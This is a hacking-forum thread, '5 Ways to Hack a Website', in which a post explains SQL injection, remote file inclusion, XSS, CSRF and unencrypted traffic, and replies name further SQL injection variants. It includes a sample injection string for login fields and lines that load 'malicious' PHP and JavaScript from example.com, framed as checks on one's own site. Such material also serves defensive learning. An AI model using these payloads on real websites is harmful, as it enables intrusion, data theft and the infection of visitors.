Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


5 Ways to Hack a Website filter_list
Author
Message
5 Ways to Hack a Website #1
Hi,
Today I am sharing few website hacking ways.  There are many ways that can make your website to get hacked but here I am going to discuss the most common methods used.

1. INJECTION ATTACKS
I will start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the Open Web Applications Security Project (OWASP). Injection is passing malicious user-supplied data to an interpreter. The most common form is SQL Injection, where the hacker passes a SQL command to your database. Are you at risk? Let’s find out.

Find a page on your application that accepts user-supplied information to access a database:

A login form, signup form, or “forgot password” form is a good start.
A dynamic page that uses URL variables such as ID (product information pages are good for this).
Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.

You can follow a step by step tutorial on how to hack a website through SQL injection here.

The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.


2. REMOTE FILE INCLUSIONS
If your site doesn’t use any PHP, then good news: you’re safe of this sort of attack. But according to the SANS Institute, PHP is the most popular web application framework. When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.

Are you at risk? Let’s figure it out.

Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.

The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line:include(‘http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.


3. CROSS SITE SCRIPTING (XSS)
Cross Site Scripting most commonly known as XSS occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites.

There are two types of XSS attack.

Persistent Attack (This is the attack that remains in the database, which you can access anytime later.)
Non-persistent Attack (This is a one time attack which gets over once you close the application.)
So are you at risk? Let’s find out.

Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:

- Forums
- Comments
- Reviews

Code:
<script src=”http://www.example.com/malicious.js”></script>
Now load the page where that post is outputted. If the script runs, it means it’s vulnerable to XSS and easily can be hacked.

You can follow a detailed complete guide to XSS cross site scripting here.


The Risk:
The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).


4. CROSS SITE REQUEST FORGERIES (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. It’s almost similar to the XSS. If you are at risk for XSS, then you might be at risk for a CSRF attack.

Let’s check it out whether your website is at risk or safe.

Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me” feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.

The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy” and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator” or “admin” privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise.


5. INSECURE COMMUNICATIONS
Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everything transmitted across an insecure protocol—including FTP and HTTP—is plaintext, meaning that usernames, passwords, private messages, or even credit card information is ripe for the taking for a hacker with the proper tools. A “man-in-the-middle” attack occurs when a malicious user “sniffs” the packets sent between source and destination.

Are you at risk? Let’s find out.

Navigate to a page on your site where you fill out a form, or when user information is displayed to the site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or a green location bar). If not, that information can be intercepted. Don’t forget FTP. Are your login credentials for an unsecured FTP port the same as for your database or other secured systems? Do you upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.

The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.

If you want to hack a wordpress website, you can follow this step by step tutorial on how to hack a website with SQLMap.

If you like my threads, feel free to like and repute.
(This post was last modified: 07-04-2018, 07:26 PM by soldi3r.)

[+] 2 users Like soldi3r's post
Reply

RE: 5 Ways to Hack a Website #2
In terms of SQLi, there's a lot more to It than a Union-Based attack (as per your documentation and link).

To name a few, there's Out-Of-Band (not widely used as the rest), Inferential, Error-Based, (very commonly used), Blind SQLi and Boolean-Based (or as some refer It as Content-Based). Also a few others that are not worth mentioning. I shall read the rest In detail soon.

Appreciate the guide, thank you.
[Image: AD83g1A.png]

[+] 1 user Likes mothered's post
Reply

RE: 5 Ways to Hack a Website #3
Awesome Post.Nice brief of methods to hack websites..

Reply

RE: 5 Ways to Hack a Website #4
(10-14-2017, 04:52 AM)mothered Wrote: In terms of SQLi, there's a lot more to It than a Union-Based attack (as per your documentation and link).

To name a few, there's Out-Of-Band (not widely used as the rest), Inferential, Error-Based, (very commonly used), Blind SQLi and Boolean-Based (or as some refer It as Content-Based). Also a few others that are not worth mentioning. I shall read the rest In detail soon.

Appreciate the guide, thank you.

Absolutley, there are alot more in SQLi. But I was making it newbie friendly as Union base is the common one.

[+] 1 user Likes soldi3r's post
Reply

RE: 5 Ways to Hack a Website #5
(11-05-2017, 12:45 PM)Tachyon52 Wrote: Awesome Post.Nice brief of methods to hack websites..

Thanks man..!! It would motivate to write me more like this.

Reply

RE: 5 Ways to Hack a Website #6
(11-21-2017, 05:33 PM)soldi3r Wrote: Absolutley, there are alot more in SQLi. But I was making it newbie friendly as Union base is the common one.

Definitely so, I certainly agree.

Thanks again.
[Image: AD83g1A.png]

[+] 1 user Likes mothered's post
Reply







Users browsing this thread: